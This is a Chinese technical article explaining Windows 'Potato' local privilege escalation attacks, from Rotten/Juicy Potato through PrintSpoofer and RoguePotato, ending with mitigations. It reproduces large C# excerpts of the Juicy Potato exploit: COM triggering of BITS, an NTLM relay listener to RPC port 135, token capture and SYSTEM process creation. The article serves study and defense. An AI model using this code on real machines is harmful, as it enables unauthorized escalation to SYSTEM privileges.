|
原文链接:potato提权技术
NO.1 概述
早在2015年,Google project zero就发布了关于DCOM DCE/RPC本地NTLM Relay的研究,其中提到了使用COM对象及OLE Packager并举了个例子实现任意文件写入。
(https://bugs.chromium.org/p/proj ... ?id=325&redir=1)
随后到2016年,foxglovesecurity发布了Rotten Potato(烂土豆),该漏洞才正式进入攻击者的视线并被广泛使用。
(https://foxglovesecurity.com/201 ... accounts-to-system/)
由于篇幅(能力)有限,本文主要以分析Rotten Potato/juicy Potato的原理及实现,其他的土豆则仅讲述他们的原理。
NO.2
Rotten Potato & Juicy Potato
前置知识
COM组件
COM是一种编程方法,COM组件由以Win32动态库(DLL)或者可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。
COM对象与接口类似,每个对象也用一个128位GUID来标识,称为CLSID(class identifier,类标识符或类ID),用CLSID标识对象可以保证(概率意义上)在全球范围内的唯一性。只要系统中含有这类COM对象的信息,并包括COM对象所在的模块文件(DLL或EXE文件)以及COM对象在代码中的入口点,客户程序就可以由此CLSID来创建COM对象。客户成功创建对象后,它得到的是一个指向对象某个接口的指针,因为COM对象至少实现一个接口,所以客户就可以调用该接口提供的所有服务。
NTLM Relay
NTLM Relay通常作为中间人攻击,在进行NTLM认证时冒充客户端服务端双方,从而截取认证过程数据,最后达到对本地或远程主机认证的目的。
RPC
远程过程调用 (RPC) 服务用于支持 Windows 应用程序之间的通信。
具体来说,该服务实现了RPC 协议一种进程间通信的低级形式,客户端进程可以在其中向服务器进程发出请求。Microsoft 的基础 COM 和 DCOM 技术建立在 RPC 之上,进程为rpcss。
OXID Resolver
OXID Resolver是在支持COM +的每台计算机上运行的服务。它执行两项重要职责:
存储与远程对象连接所需的RPC字符串绑定,并将其提供给本地客户端。
将ping消息发送到本地计算机具有客户端的远程对象,并接收在本地计算机上运行的对象的ping消息。
漏洞原理
Rotten Potato & Juicy Potato原理都差不多,我们就从漏洞起源开始说起。
如概述所说,漏洞初始由Google安全团队发现了RPC到本地的NTLM Relay,也就是通过HTTP-->SMB中继。烂土豆作者研究更进一步,发现了具体的利用链。
漏洞原理简单的概括为:
- 1.欺骗高权限账户(SYSTEM)向我们控制的TCP端进行NTLM认证
- 2.使用一些Windows API进行中间人攻击协商安全令牌
- 3.冒充令牌
复制代码
底层一点的说明:
JuicyPotato通过BITS的CLSID传递给CoGetInstanceFromIStorage函数以触发rpcss激活BITS服务,然后DCOM OXID resolver解析OBJREF拿到DUALSTRINGARRAY字段后指定IP ORT进行绑定,并向绑定的地址发起DCE/RPC请求。当攻击者创建并监听指定的IP ORT,攻击者可以要求服务进行身份认证,在此进行中间人攻击并最终模拟令牌。
具体学习攻击流程之前,首先需要了解一些所用到的API函数:
???? CoGetInstanceFromIStorage:创建一个新对象并通过对IPersistFile: oad的内部调用从存储对象初始化它,用于触发DCOM Call
???? AcquireCredentialsHandle:获取句柄已经存在的一个安全主体的凭证,用于获取句柄
???? AcceptSecurityContext:用来传输应用程序的服务器组件建立服务器和远程客户端之间的安全上下文,用于本地NTLM协商
???? QuerySecurityContextToken:获取客户端安全上下文的访问令牌并直接使用它
???? CreateProcessWithTokenW:以hToken创建新进程,用户需要SeImpersonatePrivilege特权
???? CreateProcessAsUserW:以hToken创建新进程,用户需要SeAssignPrimaryTokenPrivilege特权
攻击过程

借鉴一位大牛的图,我们在做中间人的时候其实是针对于RPC两端,一端是本地服务RPC,另一端是自己控制并创建监听的RPC。
1.首先使用CoGetInstanceFromIStorage强制高权限服务进行认证
在COM中,CoGetInstanceFromIStorage可以从调用指定位置获取对象的实例,上面说到,获取到对象之后,我们可以控制该接口进行操作。该漏洞通过CoGetInstanceFromIStorage可以强制某个COM(漏洞使用的是BITS)想要某个对象的实例(通过CLSID找到该对象),并在127.0.0.1:6666中加载。这样我们就可以与BITS服务进行通讯。
2.发起NTLM协商(Type 1)
我们可以与高权限服务(BITS)进行通讯之后,将接收到的包中继到本地控制的RPC 135中。这时我们尝试让COM(BITS)进行NTLM身份认证。对RPC进行身份认证时,使用135端口可以绕过防火墙的拦截(一般情况下防火墙不拦截135端口)。
3.先Relay 协商(Type 1)到本地的RPC 135端口,并使用AcceptSecurityContext强制进行本地验证
这里协商(Type 1)回RPC 135,然后使用AcceptSecurityContext API进行本地身份验证。
4.5.6.RPC 135修改过NTLM 质询(Type 2)之后返回RPC
根据烂土豆作者的说法,在RPC 135向COM(BITS)的NTLM质询(Type 2)数据包中,有个保留字段Reserved会不同,因此需要根据之前的包修改保持一致。
7.8.RPC发送NTLM Auth(Type 3)到AcceptSecurityContext响应
COM(BITS)回复身份认证响应包到AcceptSecurityContext
9.模拟令牌提权
使用QuerySecurityContextToken API获取客户端安全上下文的访问令牌并直接使用它
代码片段
触发COM服务
4991d34b-80a1-4291-83b6-3328366b9097对应的是BITS,00000000-0000-0000-C000-000000000046为IUnknown接口,所有COM接口都继承IUnKnown。BootstrapComMarshal()可以触发RPC回连。
- public static IStorage CreateStorage()
- {
- IntPtr gh = IntPtr.Zero;
- IntPtr lb;
- IStorage ret;
- CreateILockBytesOnHGlobal(gh, true, out lb);
- StgCreateDocfileOnILockBytes(lb, STGM.CREATE | STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ret);
- return ret;
- }
- //
- public static void BootstrapComMarshal()
- {
- IStorage stg = CreateStorage();
- Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
- TestClass c = new TestClass(stg);
- MULTI_QI[] qis = new MULTI_QI[1];
- qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");
- qis[0].pItf = null;
- qis[0].hr = 0;
- CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
- }
复制代码
绑定COM服务回连地址
TestClass的MarshalInterface接口中,data数组写了回连地址为127.0.0.1:6666
- public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS)
- {
- uint written;
- byte[] data = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,
- 0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,
- 0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,
- 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,
- 0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };
- pstm.Write(data, (uint)data.Length, out written);
- }
复制代码
数据代理转发处理COMListener方法首先监听中间代理,如127.0.0.1:6666,然后将数据包转发至RPC 135。ProcessNTLMBytes方法做了
- void COMListener() {
- try {
- Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
- //监听中间代理
- listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port));
- listenSocket.Listen(10);
- readyEvent.Set();
- while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
- if (dcomComplete)
- return;
- }
- Socket clientSocket = listenSocket.Accept();
- Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
- byte[] buffer = new byte[4096];
- int recvLen = 0;
- int sendLen = 0;
- while ((recvLen = clientSocket.Receive(buffer)) > 0) {
- byte[] received = new byte[recvLen];
- Array.Copy(buffer, received, received.Length);
- ProcessNTLMBytes(received);
- if (negotiator.Authenticated) {
- break;
- }
- sendLen = rpcSocket.Send(received);
- recvLen = rpcSocket.Receive(buffer);
- if (recvLen == 0) {
- break;
- }
- received = new byte[recvLen];
- Array.Copy(buffer, received, received.Length);
- ProcessNTLMBytes(received);
- sendLen = clientSocket.Send(received);
- if (listenSocket.Poll(100000, SelectMode.SelectRead)) {
- clientSocket.Close();
- clientSocket = listenSocket.Accept();
- rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
- }
- }
- try {
- clientSocket.Close();
- rpcSocket.Close();
- listenSocket.Close();
- } finally { }
-
- } catch (Exception e) {
- Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message);
- readyEvent.Set();
- }
- }
复制代码
识别NTLM TypeProcessNTLMBytes方法做了NTLM Type识别,对数据进行处理后再发送至RPC
- int ProcessNTLMBytes(byte[] bytes) {
- int ntlmLoc = FindNTLMBytes(bytes);
- if (ntlmLoc == -1) return -1;
- byte[] ntlm = new byte[bytes.Length - ntlmLoc];
- Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
- int messageType = bytes[ntlmLoc + 8];
- switch (messageType) {
- case 1:
- //NTLM type 1 message
- return negotiator.HandleType1(ntlm);
- case 2:
- //NTLM type 2 message
- int result = negotiator.HandleType2(ntlm);
- Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length);
- return result;
- case 3:
- //NTLM type 3 message
- return negotiator.HandleType3(ntlm);
- default:
- Console.WriteLine("Error - Unknown NTLM message type...");
- return -1;
- }
- }
复制代码
认证数据处理
HandleType1、HandleType2、HandleType3为NTLM各个阶段的数据处理
- public int HandleType1(byte[] ntmlBytes) {
- TimeStamp ts = new TimeStamp();
- int status = AcquireCredentialsHandle(null, "Negotiate", SECPKG_CRED_INBOUND, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, hCred, ts);
- if (status != SEC_E_OK) {
- Console.WriteLine("Error in AquireCredentialsHandle");
- return -1;
- }
- SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);
- secServerBufferDesc = new SecBufferDesc(256);
- UInt32 fContextAttr;
- return AcceptSecurityContext(hCred, null, ref secClientBufferDesc, ASC_REQ_CONNECTION,
- SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
- }
- public int HandleType2(byte[] ntlmBytes) {
- SecBuffer secBuffer = secServerBufferDesc.GetSecBuffer();
- byte[] newNtlmBytes = secBuffer.GetBytes();
- if (ntlmBytes.Length >= newNtlmBytes.Length) {
- for (int idx = 0; idx < ntlmBytes.Length; ++idx) {
- if (idx < newNtlmBytes.Length) {
- ntlmBytes[idx] = newNtlmBytes[idx];
- } else {
- ntlmBytes[idx] = 0;
- }
- }
- } else {
- Console.WriteLine("NTLM Type2 cannot be replaced. New buffer too big");
- }
- return 0;
- }
- public int HandleType3(byte[] ntmlBytes) {
- SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);
- secServerBufferDesc = new SecBufferDesc(0);
- CtxHandle phContextNew = new CtxHandle();
- UInt32 fContextAttr;
- TimeStamp ts = new TimeStamp();
- int status = AcceptSecurityContext(hCred, phContext, ref secClientBufferDesc, ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
- SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
- if (status == 0) {
- Authenticated = true;
- IntPtr hToken;
- if ((status = QuerySecurityContextToken(phContext, out hToken)) == 0) {
- Token = hToken;
- }
- }
- return status;
- }
复制代码
查找NTLMSSP header
NTLM 协商(Type 1)、NTLM质询(Type 2)、NTLM身份认证(Type 3)都存在特定字符NTLMSSP,通过该方法可提取出我们需要的数据。
- int FindNTLMBytes(byte[] bytes) {
- //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
- //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
- //we can just return the index
- byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
- int pIdx = 0;
- int i;
- for (i = 0; i < bytes.Length; i++) {
- if (bytes[i] == pattern[pIdx]) {
- pIdx = pIdx + 1;
- if (pIdx == 7) return (i - 6);
- } else {
- pIdx = 0;
- }
- }
- return -1;
- }
复制代码
模拟令牌处理
CreateProcessWithTokenW、CreateProcessAsUserW都是以hToken创建进程执行我们自己的操作,只不过判断当前用户具有的权限。
???? CreateProcessWithToken(需要SeImpersonate)
???? CreateProcessAsUser(需要SeAssignPrimaryToken)
- if (executionMethod == ExecutionMethod.Token) {
- if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi)) {
- Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
- return;
- }
- } else {
- if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
- IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:", ref si, out pi)) {
- Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
- return;
- }
- }
复制代码
NO.3 其他PotatoHot Potato
Hot Potato是烂土豆作者的第一个发布版本。该漏洞主要通过NBNS Spoofer进行中间人欺骗,冒充名称解析,强制系统下载恶意WAPD配置。通过部署恶意的WAPD配置进行强制身份认证。作者提供的攻击手法为使用低权限用户激活更新服务触发身份验证。
Microsoft 通过使用已经在进行中的质询来禁止相同协议的 NTLM 身份验证来修补此问题 (MS16-075),这意味着从一台主机到其自身的 SMB->SMB NTLM 中继将不再起作用。MS16-077 WPAD 名称解析将不使用 NetBIOS (CVE-2016-3213) 并且在请求 PAC 文件时不发送凭据 (CVE-2016-3236)。WAPD MITM Attack 已修补。
PrintSpoofer (PipePotato or BadPotato)
这也是一个经典的中继手法。通过Windows named pipe的一个API:ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUser,RpcImpersonateClient函数),调用该函数后会更改当前线程的安全上下文。该漏洞主要利用了打印机组件的BUG,使SYSTEM权限服务能连接到攻击者创建的named pipe。
该漏洞同时还利用了一个API函数的解析问题。
spoolsv.exe服务有一个公开的API函数:
- DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
- /* [in] */ PRINTER_HANDLE hPrinter,
- /* [in] */ DWORD fdwFlags,
- /* [in] */ DWORD fdwOptions,
- /* [unique][string][in] */ wchar_t *pszLocalMachine,
- /* [in] */ DWORD dwPrinterLocal,
- /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
复制代码
pszLocalMachine参数需要传递UNC路径,传递\\127.0.0.1时,服务器会访问\\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,如果创建了其他管道或新增某些字符,调用就会因为路径验证检查而失败。这就需要一个特殊技巧,在调用时如果主机名包含"/",那么验证就可以通过,因为在连接到命名管道路径时会自动将"/"转为"\",校验路径时会认为127.0.0.1/pipe/foo是主机名,于是就会连接\\127.0.0.1\pipe\foo\pipe\spoolss,攻击者就可以注册这个named pipe从而模拟client的token。RoguePotato
微软推出烂土豆补丁后,高版本Windows DCOM解析器不再允许OBJREF中的DUALSTRINGARRAY字段指定端口号。这样便无法控制RPC对特定IP端口进行通讯。
RoguePotato使用其他远程主机的135端口做转发,通过远程主机将数据传到本地伪造的RPC服务上。
具体操作为:
???? Rogue Potato指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询
???? 在远程 IP 上,设置一个“socat”监听,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器
???? 伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程,该过程将指向受控命名管道[ ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] ]。
???? DCOM 服务器连接到 RPC 服务器以执行IRemUnkown2接口调用。连接到命名管道时将执行身份验证,我们可以通过 RpcImpersonateClient() 模拟调用者。
RemotePotato
RoguePotato改版。
EfsPotato
使用Efs接口(MS-EFSR EfsRpcOpenFileRaw)强制认证并进行模拟令牌。
SweetPotato
COM/WinRM/Spoolsv/Efs的集合版本。
NO.4 缓解措施
土豆提权漏洞都是利用各种接口强制本地认证达到中继提权的目的,因此可以从中继下手,阻断中继过程。如:
???? 启用SMB签名
???? 启用身份认证扩展程序
也可以通过漏洞本身进行拦截,如:
???? 更改更高的UAC级别
???? 删除SeImpersonatePrivilege与SeAssignPrimaryTokenPrivilege特权
|
|